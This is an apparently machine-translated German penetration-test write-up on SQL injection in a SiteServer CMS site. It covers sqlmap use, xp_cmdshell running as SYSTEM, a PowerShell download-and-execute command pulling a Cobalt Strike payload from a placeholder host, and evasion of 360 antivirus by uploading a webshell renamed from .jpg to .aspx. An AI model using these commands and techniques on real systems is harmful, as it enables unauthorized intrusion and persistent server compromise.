Heim  >  Artikel  >  Betrieb und Instandhaltung  >  Eine Beispielanalyse der MSSQL-Injection + Whitelist-Upload zur Umgehung von 360

Eine Beispielanalyse der MSSQL-Injection + Whitelist-Upload zur Umgehung von 360

王林
王林nach vorne
2023-05-12 14:37:211588Durchsuche

Informationssammlung:

Die Website wird mit vue+aspx+iis8.5 erstellt. Das Site-Anmeldefeld hat eine Versionsnummer und das Wort Siteserver erscheint in der URL-Spalte, daher wird vermutet, dass es von CMS erstellt wurde, aber ich habe das CMS nie gesehen. Bei der Google-Suche habe ich festgestellt, dass die Site mit Siteserver-CMS erstellt wurde , die Version ist die neueste und es gibt online Schwachstellen. Sie kann hier nicht verwendet werden. Ich habe es mit Injektion + schwachem Passwort + Umgehung des Bestätigungscodes + nicht autorisierter Methode und anderen Methoden versucht, ohne Erfolg. Zum Testen logge ich mich einfach direkt auf der Seite ein.

Das Bild ist das Login-Bild, das ich im Internet gefunden habe. Das rote Kästchen war die Versionsnummer anstelle der CMS-Eingabeaufforderung.

Eine Beispielanalyse der MSSQL-Injection + Whitelist-Upload zur Umgehung von 360

Funktionstest:

Nachdem ich den Hintergrund betreten habe, habe ich mich kurz mit den Funktionen befasst, bei denen es sich hauptsächlich um Seitenverwaltungsfunktionen handelt. Dieser Artikel beginnt hauptsächlich mit dem Injektionspunkt.

1: Upload-Punkte testen: Es gibt Uploads an vielen Stellen, darunter Avatare, normale Dokumentdateien und Editor-Uploads. Nach dem Testen sind die Upload-Funktionen durch Whitelists eingeschränkt, daher habe ich beschlossen, den Upload-Punkt aufzugeben. Auch wenn ich JPG hochladen kann, da die IIS-Version zu hoch zum Parsen ist. (Später habe ich jedoch einen Artikel gesehen, in dem es darum ging, dass iis8.5 eine Parsing-Schwachstelle erfolgreich ausgenutzt hat.)

Zweitens: Erfassen Sie bei einer „Batch-Sortierung“-Funktion das Paket

Eine Beispielanalyse der MSSQL-Injection + Whitelist-Upload zur Umgehung von 360Eine Beispielanalyse der MSSQL-Injection + Whitelist-Upload zur Umgehung von 360

und führen Sie einen SQL-Injection-Test für den Schlüsselwortparameter des Suchpunkts durch. Es wurde ein Fehler gefunden, daher habe ich das Datenpaket direkt kopiert Warf es zum Ausführen nach SQLmap. python sqlmap.py -r 1.txt .

Eine Beispielanalyse der MSSQL-Injection + Whitelist-Upload zur Umgehung von 360

Es stellt sich heraus, dass es gestapelte Abfragen und DBA-Berechtigungen gibt, um xp_cmd zu öffnen und den Befehl whoami zu verwenden Ich finde, dass die aktuellen Berechtigungen direkt die höchsten NT AUTHORITYSYSTEM-Berechtigungen sind. Abgesehen von diesen Lücken und anderen Punkten bin ich froh, dass diese Durchdringung vorbei ist.

Betreten Sie das Intranet:

Aber bei einer so hohen Autorität wäre es unvernünftig, das Intranet nicht zu betreten. Ursprünglich dachte ich an etwas sehr Einfaches.

VPS öffnen, CS starten, Powershell-Pferd generieren, OS-Shell ausführen, online warten, das Ergebnis ist ein Fehler:

powershell -NoProfile -ExecutionPolicy Bypass -Command "IEX ((new-object net.webclient).downloadstring ('http://xxx:port/a'))"

Eine Beispielanalyse der MSSQL-Injection + Whitelist-Upload zur Umgehung von 360

Als Erstes muss überprüft werden, ob die Maschine eine Verbindung zum Internet herstellen kann. Nachdem ich VPS und DNSlog gepingt habe, gibt es kein Problem, also versuche ich es So verwenden Sie den cmd-Befehl zum Ausführen von Powershell:

cmd .exe /c powershell -NoProfile -ExecutionPolicy Bypass -Command "IEX ((new-object net.webclient).downloadstring('http://xxx:port/a') )"

Ich habe festgestellt, dass derselbe Fehler immer noch gemeldet wurde, verdächtig. Es war ein Problem mit Anführungszeichen, also habe ich auf Baidu gesucht und ^ verwendet, um Anführungszeichen in cmd zu maskieren, aber das Ergebnis funktionierte immer noch nicht.

Eine Beispielanalyse der MSSQL-Injection + Whitelist-Upload zur Umgehung von 360

Dann fragte der Chef neben mir, ob die Powershell-Remote-Download-Ausführungsrichtlinie in Windows Server 2012 R2 festgelegt sei, also habe ich versucht, sie mit Get-ExecutionPolicy zu überprüfen und sie mit Set-ExecutionPolicy zu aktivieren Es folgt eine lokale Demonstration (der Screenshot der realen Umgebung wurde vergessen)):

Eine Beispielanalyse der MSSQL-Injection + Whitelist-Upload zur Umgehung von 360

Weitere Informationen finden Sie in diesem Artikel: https://blog.netspi.com/15-ways-to-bypass-the -powershell-execution-policy/

Schließlich wurde die Powershell-Ausführung in der realen Umgebungsstrategie erfolgreich geändert, und die Ausführung des Befehls funktionierte immer noch nicht. Zu diesem Zeitpunkt dachte ich plötzlich, dass es sich möglicherweise um eine Antivirensoftware handelte Dies verursachte Probleme, also habe ich einen Blick auf die Aufgabenliste geworfen und festgestellt, dass es tatsächlich einen 360-Grad-Schutz gab (hier gibt es keinen Screenshot).

Es wird spekuliert, dass 360 tatsächlich eine Rolle gespielt hat. Der erste Gedanke ist, Antivirensoftware zu umgehen. Ich hatte bisher nicht viel Kontakt mit Antivirensoftware und anderen Tools. ca/runtime-exec-payloads.html, ich habe den Powershell-Befehl direkt darin codiert, aber es hat nicht funktioniert, sonst müsste ich mir ein Pferd ausleihen und andere belästigen.

Zu diesem Zeitpunkt dachte ich plötzlich darüber nach, SQLMAP zum Hochladen von Dateien zu schreiben, aber MSSQL hat nicht die gleichen Funktionen wie MySQL (später fragte ich den Chef, dass SQLMAP auch Dateien in OS-Shell hochladen kann (freche Operation)), und plötzlich Ich habe mich daran erinnert, was ich gerade gesagt habe. Während des Tests hatten viele Funktionspunkte die Funktion zum Hochladen von Dateien. Obwohl sie auf der Whitelist stand, hatte es überhaupt keine Auswirkungen auf mich, als ich ein Bild verlor und es sofort hochlud. Tun Sie es einfach, laden Sie das Eisskorpion-Bildpferd direkt in den Avatar-Upload-Bereich hoch, bingxie.jpg. Benennen Sie die Kopie dann mit dem Kopierbefehl d:abcimgbingxie.jpg in d:abcimgbingxie.aspx um , nein Es besteht kein Zweifel daran, dass es direkt erfolgreich eingeführt und die Blumen verbreitet werden.

Eine Beispielanalyse der MSSQL-Injection + Whitelist-Upload zur Umgehung von 360

Das obige ist der detaillierte Inhalt vonEine Beispielanalyse der MSSQL-Injection + Whitelist-Upload zur Umgehung von 360. Für weitere Informationen folgen Sie bitte anderen verwandten Artikeln auf der PHP chinesischen Website!

Stellungnahme:
Dieser Artikel ist reproduziert unter:yisu.com. Bei Verstößen wenden Sie sich bitte an admin@php.cn löschen